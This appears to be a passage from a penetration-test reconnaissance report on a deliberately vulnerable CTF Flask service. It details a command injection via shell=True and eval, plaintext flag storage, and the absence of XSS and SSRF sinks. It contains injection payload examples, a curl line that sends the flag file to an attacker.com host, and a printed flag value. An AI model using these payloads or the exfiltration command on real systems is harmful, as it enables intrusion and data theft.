1. Flag injection: `-t custom "malicious_command"` - Bypasses all blacklist checks
2. Unquoted variable exploitation: `test$(whoami)` - Would work if `$` weren't filtered
3. Argument injection: `apache --help` - Additional flags to legitimate commands
4. Path traversal: `../../etc/passwd` - Absolute or relative paths
5. IFS variable exploitation: `test${IFS}command` - Bash variable substitution (if `$` weren't filtered)

**Recommended Validation Approach:**
The secure approach would be a whitelist: `if not re.match(r'^[a-zA-Z0-9_-]+$', service_name)` combined with checking the value against a predefined list of allowed services.

### Background Processing

**Finding: NO ASYNCHRONOUS BACKGROUND PROCESSING**

The application does not implement any background job processing, task queues, scheduled jobs, or asynchronous workers. All request processing is synchronous within the Flask request-response cycle. There are no Celery workers, Redis queues, RabbitMQ consumers, cron jobs, or scheduled tasks.

This finding eliminates background-job-specific vulnerabilities from the penetration testing scope: job queue injection, scheduled task manipulation, worker privilege escalation, and race conditions in asynchronous processing are all non-applicable. However, it also means the command injection vulnerability executes synchronously, making exploitation more reliable and predictable for an attacker.

### Internal Service Communication

**Finding: NO INTERNAL SERVICE-TO-SERVICE COMMUNICATION**

The application operates as a single self-contained service with no communication to other backend services, microservices, or internal APIs. There are no service mesh configurations, no API gateway integrations, no message broker communications, and no database connections. The only "internal" communication is the subprocess call from Python to the bash script, which occurs within the same container and process tree.

The trust boundary between Flask and the bash script is poorly defined - the Flask application trusts that its input validation is sufficient and passes user input directly to the bash script. The bash script does not perform its own input validation and trusts that the Flask layer has sanitized inputs. This broken trust model creates a vulnerability where neither component adequately validates the data at the boundary.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Finding: CRITICAL - PLAINTEXT SECRET STORAGE WITH MULTIPLE EXPOSURE POINTS**

The application's secret management implementation is fundamentally insecure, with the CTF flag stored in plaintext across multiple locations in the deployment pipeline. The secrets management architecture creates four distinct attack vectors:

**Secret Storage Location 1: Host `.env` File**
- **File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/.env`
- **Line Number:** 1
- **Content:** `FLAG="flag{e4989f65-575a-4213-a9e7-87a96cb61e87}"`
- **Risk:** This file is located in the application source directory and is likely committed to version control (git), exposing the secret to anyone with repository access. Even if `.env` is in `.gitignore`, it may have been committed in earlier revisions and remains in git history.
- **Exposure Scope:** Developers, CI/CD systems, repository administrators, and anyone with filesystem access to the host

**Secret Storage Location 2: Docker Build Arguments**
- **File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/docker-compose.yml`
- **Line Numbers:** 5-6
- **Content:**
```yaml
build:
  args:
    FLAG: ${FLAG}
```
- **Risk:** Build arguments are embedded in Docker image layer metadata. Anyone with access to the built image can extract the flag using `docker history <image_id>` or `docker inspect <image_id>`. This secret persists in the image artifact even after deployment and remains accessible through container registries.
- **Exposure Scope:** Container registry users, Kubernetes cluster administrators, image scanning tools, and anyone who can pull the Docker image

**Secret Storage Location 3: Container Filesystem**
- **File Path:** `/app/FLAG.txt` (inside container)
- **Creation:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/Dockerfile`, Lines 13-14
- **Content:**
```dockerfile
ARG FLAG
RUN echo -n $FLAG > /app/FLAG.txt
```
- **Risk:** The flag is written to the container's filesystem during build time and persists for the container's lifetime. This file is accessible via the command injection vulnerability, container shell access, or volume mounting. The file has no special permissions or encryption.
- **Exposure Scope:** Exploits of the application (command injection), container escape attacks, volume mount access, and container image extraction

**Secret Storage Location 4: Docker Image Layers**
- **Risk:** The `RUN echo -n $FLAG > /app/FLAG.txt` command creates a layer in the Docker image that contains the flag. Even if the file were deleted in a subsequent layer, the flag would remain in the intermediate layer and be extractable using image analysis tools.
- **Exposure Scope:** Same as build arguments - anyone with image access

**Secure Alternatives Not Implemented:**
- **HashiCorp Vault:** No integration with Vault for runtime secret retrieval
- **AWS Secrets Manager / Azure Key Vault / GCP Secret Manager:** No cloud secret management
- **Kubernetes Secrets:** No Kubernetes secret mounting (application uses Docker Compose)
- **Encrypted Secret Storage:** No use of sealed secrets, SOPS, git-crypt, or similar encryption tools
- **Runtime Secret Injection:** No init containers or sidecar patterns for secure secret delivery

**Secret Rotation Capabilities:**
The application implements **zero secret rotation mechanisms**. The flag is static throughout the application lifecycle with no ability to rotate, revoke, or expire the secret. If the flag is compromised, there is no automated way to invalidate the old value and provision a new one without rebuilding the entire container image and redeploying.

### Configuration Security

**Environment Separation:**

The application demonstrates **poor environment separation practices**. The `.env` file in the source repository likely represents production secrets (the actual CTF flag), but this file exists in the development codebase without environment-specific configurations. There are no separate configuration files for development, staging, and production environments. The same Docker image built with production secrets would be used across all environments, violating the principle of environment isolation.

**Configuration File Analysis:**

**1. Application Configuration (`app.py`):**
- No use of environment-specific configuration classes
- No `config.py` file with separate Dev/Staging/Prod configurations
- Hardcoded host (`0.0.0.0`) and port (`80`) values in the application code (line 37)
- Debug mode is commented out (line 38: `#app.run(debug=True)`) but exists in the codebase, indicating development configuration is mixed with production

**2. Docker Configuration (`Dockerfile`):**
- Build-time ARG `FLAG` (line 13) means the secret is baked into the image at build time
- No differentiation between development and production images
- No multi-stage builds to separate build-time secrets from runtime images
- Missing USER directive means the container runs as root (security risk)

**3. Container Orchestration (`docker-compose.yml`):**
- Uses environment variable substitution for the FLAG: `FLAG: ${FLAG}`
- Does not leverage Docker Compose environment-specific files (docker-compose.override.yml, docker-compose.prod.yml)
- Single configuration serves all environments

**Security Headers Configuration:**

**Finding: NO INFRASTRUCTURE-LEVEL SECURITY HEADERS DETECTED**

The application does not implement security headers at either the application level (Flask) or the infrastructure level (reverse proxy, CDN, ingress controller). Comprehensive code search revealed:

- **No Nginx/Apache Configuration:** No reverse proxy configuration files detected in the repository. The Flask development server serves requests directly without a production-grade reverse proxy that could inject security headers.

- **No Kubernetes Ingress:** No Kubernetes manifests detected. No ingress controller configurations that could add security headers.

- **No CDN Configuration:** No CloudFlare, Fastly, or AWS CloudFront configuration files that could inject headers.

**Missing Critical Headers:**

| Header | Purpose | Impact of Absence |
|--------|---------|-------------------|
| Strict-Transport-Security (HSTS) | Force HTTPS connections | Application uses HTTP-only, no HTTPS enforcement |
| Content-Security-Policy (CSP) | Prevent XSS and injection | No restrictions on script sources or inline code |
| X-Frame-Options | Prevent clickjacking | Application can be embedded in iframes for phishing |
| X-Content-Type-Options | Prevent MIME sniffing | Browser may misinterpret response types |
| X-XSS-Protection | Legacy XSS filter | No XSS protection for older browsers |
| Referrer-Policy | Control referrer information | Sensitive data may leak via referrer |
| Permissions-Policy | Restrict browser features | Camera, microphone, geolocation accessible without restriction |
| Cache-Control | Control caching behavior | No control over sensitive data caching |

These headers should be configured in infrastructure files like `nginx.conf`, Kubernetes Ingress annotations, or Flask middleware. Their complete absence indicates no defense-in-depth strategy for client-side security.

### External Dependencies

**Python Package Dependencies:**
The application has an extremely minimal dependency footprint with only **one direct dependency**:
- **Flask==3.0.3** (specified in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/requirements.txt`)

Flask 3.0.3 was released in March 2024 and is relatively current. This version includes transitive dependencies:
- Werkzeug (WSGI utility library) - Flask's web server and request handling
- Jinja2 (template engine) - HTML template rendering
- Click (CLI framework) - Command-line interface utilities
- ItsDangerous (cryptographic signing) - Session and cookie signing
- MarkupSafe (HTML escaping) - Safe string handling

**Security Implications:**

The minimal dependency footprint **reduces supply chain attack risk** - there are fewer third-party packages that could contain vulnerabilities or malicious code. However, this architectural choice provides **no security benefits** for this application because the vulnerabilities stem from implementation flaws (command injection) rather than dependency vulnerabilities.

From a penetration testing perspective, dependency analysis would typically involve:
1. Checking for known CVEs in Flask 3.0.3 and its transitive dependencies
2. Testing for dependency confusion attacks (not applicable - no private packages)
3. Evaluating dependency integrity (no lock file like `requirements.lock` or `poetry.lock` detected)
4. Checking for outdated dependencies with known exploits

However, these dependency-level attacks are secondary concerns when the application has a critical command injection vulnerability that provides direct RCE without requiring dependency exploitation.

**System-Level Dependencies (Docker Container):**

The Dockerfile (line 4) installs system utilities that could be leveraged post-exploitation:
```dockerfile
RUN apt-get update && apt-get install -y --no-install-recommends \
    iputils-ping curl procps
```

- **iputils-ping**: Network reconnaissance capability (ICMP probes for internal network mapping)
- **curl**: HTTP client for data exfiltration (`curl http://attacker.com/?data=$(cat /app/FLAG.txt)`)
- **procps**: Process monitoring tools (`ps`, `top`) for container enumeration

These utilities are not required for the application's core functionality but provide attack primitives once command injection is achieved.

**No External Service Dependencies:**

The application does not integrate with any external services, APIs, or third-party platforms:
- No authentication providers (Google OAuth, Auth0, Okta)
- No payment gateways (Stripe, PayPal)
- No cloud storage services (AWS S3, Google Cloud Storage)
- No monitoring/logging SaaS (Datadog, New Relic, Sentry)
- No email services (SendGrid, Mailgun)
- No CDN providers (CloudFlare, Fastly)

This isolation means there are no third-party integrations to misconfigure, no API key leakage risks (beyond the flag), and no external attack surfaces through partner services.

### Monitoring & Logging

**Finding: ZERO MONITORING AND LOGGING IMPLEMENTATION**

The application implements **no security monitoring, logging, or observability capabilities**. Comprehensive code analysis reveals:

**Application-Level Logging:**
- No Python `logging` module imports or configuration in `app.py`
- No log statements for security events (failed validation, suspicious inputs, errors)
- No audit trail of requests to the `/check_service` endpoint
- Flask's default logging (werkzeug) only logs access logs to stdout, which are not persisted

**Security Event Visibility:**
Critical security events that go unmonitored:
- Command injection attempts and exploitation - **NO LOGGING**
- Blacklist validation failures (line 17 returns error but doesn't log) - **NO LOGGING**
- Subprocess execution and commands executed - **NO LOGGING**
- Bash script eval executions - **NO LOGGING**
- Errors and exceptions (line 29 returns generic error) - **NO DETAILED LOGGING**
- Anomalous service_name values - **NO LOGGING**

**Infrastructure-Level Monitoring:**
- **No Log Aggregation:** No Elasticsearch/Logstash/Kibana (ELK), Splunk, or Datadog integration
- **No APM (Application Performance Monitoring):** No New Relic, AppDynamics, or Dynatrace
- **No SIEM (Security Information and Event Management):** No integration with security monitoring platforms
- **No Intrusion Detection:** No OSSEC, Snort, or Suricata network monitoring
- **No Container Monitoring:** No Prometheus, Grafana, or cAdvisor for container metrics

**Docker Logging Configuration:**

The `docker-compose.yml` includes a basic healthcheck (lines 9-13):
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://127.0.0.1:80/"]
  interval: 30s
  timeout: 10s
  retries: 3
  start_period: 10s
```

However, this healthcheck only monitors service availability (HTTP 200 response), not security events. Container logs are written to Docker's default json-file driver but are not persisted, analyzed, or monitored.

**Penetration Testing Implications:**

The complete absence of monitoring and logging means:
1. **Exploitation attempts are invisible** - An attacker can repeatedly test payloads without detection
2. **No rate limiting data** - Impossible to implement rate limiting without request counting/logging
3. **No incident response capability** - If the flag is exfiltrated, there's no evidence of when, how, or by whom
4. **No anomaly detection** - Unusual patterns (high request rates, suspicious payloads) go unnoticed
5. **No forensic evidence** - Post-compromise investigation has no audit trail
6. **Unlimited exploitation window** - Attacker can maintain persistent access without triggering alerts

This monitoring void makes the application a particularly attractive target - exploitation is low-risk with no detection mechanisms to evade.

---

## 7. Overall Codebase Indexing

This application represents a **minimalist monolithic architecture** with an extremely small codebase footprint. The entire application consists of only **39 lines of Python code** (excluding comments and blank lines), 92 lines of bash scripting, 238 lines of HTML/JavaScript frontend code, and approximately 50 lines of configuration across Docker, Docker Compose, and dependency manifests. The total functional codebase is under 500 lines, making it one of the most compact applications likely to be encountered in penetration testing engagements.

**Directory Structure and Organization:**

The codebase follows a flat, simple directory hierarchy rooted at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/`:

```
XBEN-068-24/
├── .env                          # Environment variables (FLAG secret storage)
├── Makefile                      # Build automation (references external common.mk)
├── benchmark.json                # CTF challenge metadata (win conditions)
├── docker-compose.yml            # Container orchestration (single service)
└── app/                          # Application root directory
    ├── app.py                    # Main Flask application (39 lines)
    ├── check_service.sh          # Backend bash script (92 lines, executable)
    ├── Dockerfile                # Container build instructions
    ├── requirements.txt          # Python dependencies (Flask only)
    └── templates/                # Jinja2 template directory
        └── index.html            # Frontend dashboard (238 lines)
```

**Key Organizational Observations:**

The application uses a **single-tier flat structure** with no separation of concerns into typical web application layers (models, views, controllers, services, repositories). There are no separate directories for configuration, utilities, middleware, or business logic. The entire backend logic exists in a single `app.py` file, indicating this is either a microservice with intentionally limited scope or a demonstration/training application.

**Build Orchestration:**

The `Makefile` references an external `common.mk` (line 3: `include ../../../tools/common.mk`), suggesting this application is part of a larger penetration testing challenge framework or CTF platform. The Makefile itself is minimal and delegates most build logic to the shared common.mk file. This structure indicates the application is one challenge among many in a standardized testing environment.

**Docker-First Architecture:**

The application is designed exclusively for containerized deployment - there are no native deployment instructions, systemd service files, or traditional server configuration. The `docker-compose.yml` orchestrates a single service named "web" that builds from the local Dockerfile and exposes port 80. This Docker-first approach means the application's deployment and runtime characteristics are entirely defined by the container configuration.

**No Code Generation or Build Processes:**

Unlike modern web applications, this codebase has no build tooling for the frontend (no webpack, vite, rollup), no code generation (no protocol buffers, no OpenAPI code generation), and no compilation steps beyond Docker image building. The JavaScript in `index.html` is vanilla ES6+ served directly without transpilation or bundling. This absence of build complexity reduces the attack surface related to build tooling vulnerabilities but also indicates a lack of production-readiness.

**Testing Framework:**

**Finding: NO TEST SUITE DETECTED**

The codebase contains no unit tests, integration tests, or end-to-end tests. There are no test directories (`tests/`, `test/`, `spec/`), no testing framework dependencies (`pytest`, `unittest`, `jest`), and no test runner configurations. The `benchmark.json` file (located at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/benchmark.json`) appears to define validation criteria for CTF challenge completion rather than application tests:

```json
{
  "win_condition": {
    "type": "output",
    "value": "${FLAG}"
  }
}
```

The absence of tests means there is no automated validation of security controls, no regression testing for vulnerability fixes, and no test-driven development practices. From a security perspective, this increases the likelihood of undetected vulnerabilities and provides no safety net for code changes.

**Version Control Indicators:**

While a `.git` directory was not explicitly analyzed (to avoid repository metadata inspection), the presence of a `.env` file suggests git-based version control with environment-specific secrets (though `.env` should be in `.gitignore`). The standardized directory structure and external Makefile inclusion suggest this is part of a multi-challenge repository with shared tooling.

**Discoverability of Security Components:**

The codebase's extreme simplicity makes security component discovery **trivial for manual review** but also highlights the **complete absence of security mechanisms**:

- **Authentication:** Instantly discoverable as non-existent (no auth imports, no decorators, no login endpoints)
- **Input Validation:** Immediately visible as a single 3-line function (`contains_bad_chars`)
- **Command Execution:** Obviously dangerous pattern visible at line 26 (`shell=True`)
- **Secret Storage:** Plainly visible in multiple files (`.env`, `Dockerfile`, `docker-compose.yml`)

This transparency makes the application an excellent **pedagogical example of insecure patterns** but a terrible production deployment. For a penetration tester, the codebase review phase takes minutes rather than hours due to the minimal code volume and flat structure.

**Notable Absence of Common Application Components:**

The following standard web application components are completely absent:
- **Database layer:** No models, migrations, ORMs, or data access objects
- **Business logic layer:** No service classes, domain logic, or business rules
- **API layer:** No REST framework, GraphQL schema, or API versioning
- **Middleware stack:** No authentication middleware, logging middleware, or error handling middleware
- **Configuration management:** No config classes, environment-based settings, or feature flags
- **Utility modules:** No helpers, validators, formatters, or shared utilities
- **Background jobs:** No task queues, schedulers, or async workers
- **Static assets:** No CSS files, JavaScript modules, or images (all HTML/CSS/JS is inline)

This minimalist approach creates a **security analysis paradox**: the small attack surface reduces the number of potential vulnerabilities, but the critical vulnerabilities that do exist (command injection) are trivially exploitable due to the absence of defense-in-depth controls.

---

## 8. Critical File Paths

### Configuration Files
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/.env` - Environment variables with FLAG secret (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/docker-compose.yml` - Container orchestration and port exposure (port 80)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/Dockerfile` - Container build instructions with FLAG embedding (lines 13-14)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/Makefile` - Build automation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/benchmark.json` - CTF challenge metadata and win conditions

### Authentication & Authorization
- **None** - No authentication or authorization components exist in this application

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py` - Main Flask application with all route definitions
  - Line 32-34: `GET /` endpoint (dashboard)
  - Line 12-30: `POST /check_service` endpoint (CRITICAL vulnerability)
  - Line 7-9: `contains_bad_chars()` input validation function (bypassable)
  - Line 26: `subprocess.check_output()` with `shell=True` (command injection sink)

### Data Models & DB Interaction
- **None** - No database, ORM, or data persistence layer exists

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/requirements.txt` - Python dependencies (Flask==3.0.3 only)

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/.env` - FLAG secret in plaintext (line 1)
- `/app/FLAG.txt` - Container filesystem FLAG storage (created at build time, accessible via command injection)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py` - Contains `contains_bad_chars()` validation function (lines 7-9)

### Logging & Monitoring
- **None** - No logging or monitoring implementation exists

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/Dockerfile` - Docker container configuration (lines 1-17)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/docker-compose.yml` - Docker Compose orchestration (single service on port 80)

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/.env` - FLAG environment variable (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/Dockerfile` - FLAG written to container filesystem (lines 13-14)
- `/app/FLAG.txt` - Target file inside container (accessible via command injection)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/docker-compose.yml` - FLAG passed as build argument (line 6)

### Backend Processing Scripts
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/check_service.sh` - Bash script with command injection vulnerabilities
  - Line 77: `eval $custom_command` (CRITICAL - arbitrary code execution)
  - Line 61: Unquoted `$service_name` variable in grep (MEDIUM risk)
  - Lines 54-83: Three operation modes (systemctl, ps, custom)

### Frontend Templates
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/templates/index.html` - Service status dashboard (238 lines)
  - Lines 64-91: JavaScript fetch to `/check_service` endpoint
  - Line 77, 80, 86: Safe use of `.textContent` (XSS-resistant)
  - Line 62: Hardcoded service names `['apache', 'mysql', 'nginx', 'ssh']`

---

## 9. XSS Sinks and Render Contexts

### Executive Summary

**Finding: NO XSS VULNERABILITIES DETECTED IN NETWORK-ACCESSIBLE CODE**

After comprehensive analysis of all network-accessible code paths, **zero XSS (Cross-Site Scripting) sinks** were identified. The application demonstrates **secure DOM manipulation practices** by exclusively using `.textContent` for dynamic content insertion, which automatically escapes HTML and prevents script injection. Additionally, Flask's `jsonify()` function properly escapes JSON responses, and Jinja2's auto-escaping protects the template layer.

### HTML Body Context - NO SINKS FOUND

**Analysis of Potential Sinks:**

The frontend JavaScript code in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/templates/index.html` uses **safe DOM manipulation exclusively**:

```javascript
// Lines 77, 80, 86 - Safe textContent usage
statusDiv.textContent = `Status: ${status}`;  // Line 77 - XSS-safe
statusDiv.textContent = `Error: ${error}`;    // Line 80 - XSS-safe
statusDiv.textContent = 'Status: Error checking service';  // Line 86 - XSS-safe
```

The `.textContent` property automatically escapes all HTML entities, treating the data as plain text rather than HTML markup. If an attacker manages to inject `<script>alert(1)</script>` into the response, it would be rendered as literal text on the page rather than executed as code.

**Dangerous Patterns NOT Present:**
- ❌ `element.innerHTML = userInput` - NOT FOUND
- ❌ `element.outerHTML = userInput` - NOT FOUND
- ❌ `document.write(userInput)` - NOT FOUND
- ❌ `document.writeln(userInput)` - NOT FOUND
- ❌ `element.insertAdjacentHTML('beforeend', userInput)` - NOT FOUND
- ❌ `Range.createContextualFragment(userInput)` - NOT FOUND
- ❌ jQuery sinks (`.html()`, `.append()`, `.after()`, etc.) - jQuery NOT USED

### HTML Attribute Context - NO SINKS FOUND

**Analysis of Potential Sinks:**

No dynamic attribute assignment with user-controlled data exists in the codebase. All HTML attributes are static or use safe methods:

```javascript
// Line 75 - Safe class manipulation
statusDiv.classList.add('green');  // Hardcoded value - XSS-safe
// Line 79
statusDiv.classList.add('red');    // Hardcoded value - XSS-safe
```

The `classList.add()` method is used only with hardcoded string literals ('green', 'red'), not user input. Even if user input reached this code path, `classList.add()` does not interpret the value as HTML.

**Dangerous Patterns NOT Present:**
- ❌ Event handler attributes (`onclick`, `onerror`, `onload`, `onmouseover`) with user input - NOT FOUND
- ❌ URL-based attributes (`href`, `src`, `action`, `formaction`) with user input - NOT FOUND
- ❌ `style` attribute manipulation with user input - NOT FOUND
- ❌ `srcdoc` attribute with user input - NOT FOUND
- ❌ Dynamic attribute setting: `element.setAttribute('onclick', userInput)` - NOT FOUND

### JavaScript Context - NO SINKS FOUND

**Analysis of Potential Sinks:**

The application uses **no dynamic code evaluation** with user input:

```javascript
// Lines 62-91 - No eval or code execution with user data
const services = ['apache', 'mysql', 'nginx', 'ssh'];  // Hardcoded array
services.forEach(service => {  // Controlled iteration
    fetch('/check_service', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ service_name: service })  // Safe serialization
    })
```

The `JSON.stringify()` function properly escapes the service name, and the hardcoded services array means no user input reaches this code path. The fetch API uses POST with JSON body, which is safe from JavaScript injection.

**Dangerous Patterns NOT Present:**
- ❌ `eval(userInput)` - NOT FOUND
- ❌ `Function(userInput)` - NOT FOUND
- ❌ `setTimeout(userInput, 1000)` with string argument - NOT FOUND
- ❌ `setInterval(userInput, 1000)` with string argument - NOT FOUND
- ❌ Direct script tag injection: `<script>${userInput}</script>` - NOT FOUND

### CSS Context - NO SINKS FOUND

**Analysis of Potential Sinks:**

No dynamic CSS manipulation with user input exists:

```javascript
// Lines 75, 79 - Safe CSS class manipulation only
statusDiv.classList.add('green');  // Hardcoded CSS class
statusDiv.classList.add('red');    // Hardcoded CSS class
```

**Dangerous Patterns NOT Present:**
- ❌ `element.style.backgroundImage = 'url(' + userInput + ')'` - NOT FOUND
- ❌ `element.style.cssText = userInput` - NOT FOUND
- ❌ Dynamic `<style>` tag injection with user input - NOT FOUND

### URL Context - NO SINKS FOUND

**Analysis of Potential Sinks:**

No URL manipulation with user-controlled data exists:

```javascript
// Line 64 - Static URL only
fetch('/check_service', {  // Hardcoded endpoint - XSS-safe
```

**Dangerous Patterns NOT Present:**
- ❌ `window.location = userInput` - NOT FOUND
- ❌ `location.href = userInput` - NOT FOUND
- ❌ `location.replace(userInput)` - NOT FOUND
- ❌ `location.assign(userInput)` - NOT FOUND
- ❌ `window.open(userInput)` - NOT FOUND
- ❌ `history.pushState(null, null, userInput)` - NOT FOUND
- ❌ `history.replaceState(null, null, userInput)` - NOT FOUND

### Server-Side Template Injection - NO SINKS FOUND

**Analysis of Flask/Jinja2 Template Usage:**

```python
# Line 34 of app.py
return render_template('index.html')  # No context variables - XSS-safe
```

The Flask application renders the `index.html` template without passing any user data to the template context. Jinja2's auto-escaping feature is enabled by default, which would escape HTML entities even if user data were passed. The application does not use `render_template_string()`, which would be a template injection risk.

**Dangerous Patterns NOT Present:**
- ❌ `render_template_string(userInput)` - NOT FOUND
- ❌ `{{ userInput | safe }}` - Jinja2 safe filter disabling escaping - NOT FOUND
- ❌ Template context with user data: `render_template('page.html', data=user_input)` - NOT USED WITH USER DATA

### Backend Response Injection - NO XSS SINKS FOUND

**Analysis of JSON Response Handling:**

```python
# Line 28 of app.py
return jsonify({"service_name": service_name, "status": status})
```

Flask's `jsonify()` function properly escapes JSON strings, including HTML entities. Even if an attacker injects `<script>alert(1)</script>` in the `service_name` parameter, it would be escaped in the JSON response as `\u003cscript\u003ealert(1)\u003c/script\u003e`. The frontend's use of `.textContent` provides a second layer of protection.

### Command Injection Context (NOT XSS BUT CRITICAL)

**While not XSS, the application has a CRITICAL command injection vulnerability:**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py`, Line 26
```python
result = subprocess.check_output(command, shell=True)
```

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/check_service.sh`, Line 77
```bash
eval $custom_command
```

This is **not an XSS vulnerability** (client-side code injection) but rather **server-side command injection** (OS-level code execution). However, it's far more dangerous than XSS as it provides direct RCE capabilities. See Section 10 for full details.

### Penetration Testing Implications

**XSS Attack Vectors: NONE APPLICABLE**

The absence of XSS vulnerabilities means the following attack techniques are not applicable:
- Reflected XSS via URL parameters
- Stored XSS via database persistence
- DOM-based XSS via client-side JavaScript
- Template injection attacks
- JavaScript prototype pollution leading to XSS
- SVG-based XSS attacks
- CSS injection leading to data exfiltration

**Recommendation for Penetration Testers:**

Do not invest time attempting XSS exploitation on this application. The secure use of `.textContent`, JSON escaping, and template auto-escaping provides robust protection against XSS. **Focus exploitation efforts on the command injection vulnerability** (Section 10), which provides a much more direct path to system compromise and flag extraction.

---

## 10. SSRF Sinks

### Executive Summary

**Finding: NO DIRECT SSRF VULNERABILITIES DETECTED**

After exhaustive analysis of all network-accessible code paths, **zero Server-Side Request Forgery (SSRF) vulnerabilities** were identified. The application does not contain any HTTP client libraries, URL fetchers, or server-side request mechanisms. There are no imports of `requests`, `urllib`, `httpx`, or similar libraries. The application does not make outbound HTTP/HTTPS requests, fetch external resources, or perform server-side URL operations.

However, the **critical command injection vulnerability** could be leveraged to achieve **SSRF-like effects** post-exploitation using system utilities available in the Docker container (`curl`, `ping`).

### HTTP(S) Clients - NO SINKS FOUND

**Analysis:**

```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/requirements.txt
Flask==3.0.3  # Only dependency - no HTTP client libraries
```

No HTTP client libraries are present in the application:
- ❌ `requests` library - NOT IMPORTED
- ❌ `urllib`, `urllib2`, `urllib3` - NOT IMPORTED
- ❌ `httpx` - NOT IMPORTED
- ❌ `aiohttp` - NOT IMPORTED
- ❌ `http.client` - NOT IMPORTED
- ❌ `pycurl` - NOT IMPORTED

The Python code contains no outbound HTTP/HTTPS request functionality. The `subprocess` call executes a local bash script rather than making network requests.

### Raw Sockets & Connect APIs - NO SINKS FOUND

**Analysis:**

No raw socket operations or network connection code exists:
- ❌ `socket.socket()` - NOT FOUND
- ❌ `socket.connect()` - NOT FOUND
- ❌ `socket.create_connection()` - NOT FOUND

### URL Openers & File Includes - NO SINKS FOUND

**Analysis:**

No URL-based file operations exist:
- ❌ `urllib.urlopen()` - NOT FOUND
- ❌ `urllib.request.urlopen()` - NOT FOUND
- ❌ `open()` with URL parameters - NOT FOUND
- ❌ File includes with external sources - NOT FOUND

### Redirect & "Next URL" Handlers - NO SINKS FOUND

**Analysis:**

```python
# Lines 32-34, 12-30 of app.py
return render_template('index.html')  # Static template - no redirect
return jsonify({"service_name": service_name, "status": status})  # JSON response - no redirect
```

No redirect functionality with user input exists:
- ❌ `flask.redirect(userInput)` - NOT FOUND
- ❌ `response.headers['Location'] = userInput` - NOT FOUND
- ❌ "next" or "return_url" parameters - NOT FOUND

### Headless Browsers & Render Engines - NO SINKS FOUND

**Analysis:**

No browser automation or rendering tools are present:
- ❌ Puppeteer - NOT INSTALLED
- ❌ Playwright - NOT INSTALLED
- ❌ Selenium - NOT INSTALLED
- ❌ wkhtmltopdf - NOT INSTALLED
- ❌ Chrome/Chromium headless - NOT INSTALLED
- ❌ HTML-to-PDF converters - NOT FOUND

### Media Processors - NO SINKS FOUND

**Analysis:**

No image or media processing libraries exist:
- ❌ ImageMagick (`convert` command) - NOT FOUND
- ❌ GraphicsMagick - NOT FOUND
- ❌ Pillow/PIL - NOT INSTALLED
- ❌ FFmpeg - NOT INSTALLED
- ❌ Image processing with URLs - NOT FOUND

### Link Preview & Unfurlers - NO SINKS FOUND

**Analysis:**

No link preview, metadata extraction, or URL unfurling functionality exists:
- ❌ oEmbed fetchers - NOT FOUND
- ❌ OpenGraph metadata scrapers - NOT FOUND
- ❌ Link preview generators - NOT FOUND
- ❌ URL metadata extraction - NOT FOUND

### Webhook Testers & Callback Verifiers - NO SINKS FOUND

**Analysis:**

No webhook or callback functionality exists:
- ❌ "Ping my webhook" features - NOT FOUND
- ❌ Outbound callback verification - NOT FOUND
- ❌ Webhook delivery endpoints - NOT FOUND

### SSO/OIDC Discovery & JWKS Fetchers - NO SINKS FOUND

**Analysis:**

No OAuth, OIDC, or SSO integration exists:
- ❌ OpenID Connect discovery (`/.well-known/openid-configuration`) - NOT IMPLEMENTED
- ❌ JWKS (JSON Web Key Set) fetchers - NOT FOUND
- ❌ OAuth authorization server metadata - NOT FOUND
- ❌ SAML metadata fetchers - NOT FOUND

### Importers & Data Loaders - NO SINKS FOUND

**Analysis:**

No data import or remote loading functionality exists:
- ❌ "Import from URL" features - NOT FOUND
- ❌ CSV/JSON/XML remote loaders - NOT FOUND
- ❌ RSS/Atom feed readers - NOT FOUND
- ❌ API data synchronization - NOT FOUND

### Indirect SSRF Risk via Command Injection (CRITICAL)

**Finding: COMMAND INJECTION ENABLES SSRF-LIKE ATTACKS**

While the application has no direct SSRF vulnerabilities, the **command injection vulnerability combined with available system utilities** creates an **indirect SSRF capability**:

**Available System Utilities:**
```dockerfile
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/Dockerfile, Line 4
RUN apt-get install -y --no-install-recommends iputils-ping curl procps
```

The Docker container includes:
- **curl** - Full HTTP client capable of making arbitrary requests
- **iputils-ping** - ICMP network scanning capability
- **procps** - Process monitoring (less relevant for SSRF)

**Attack Scenario:**

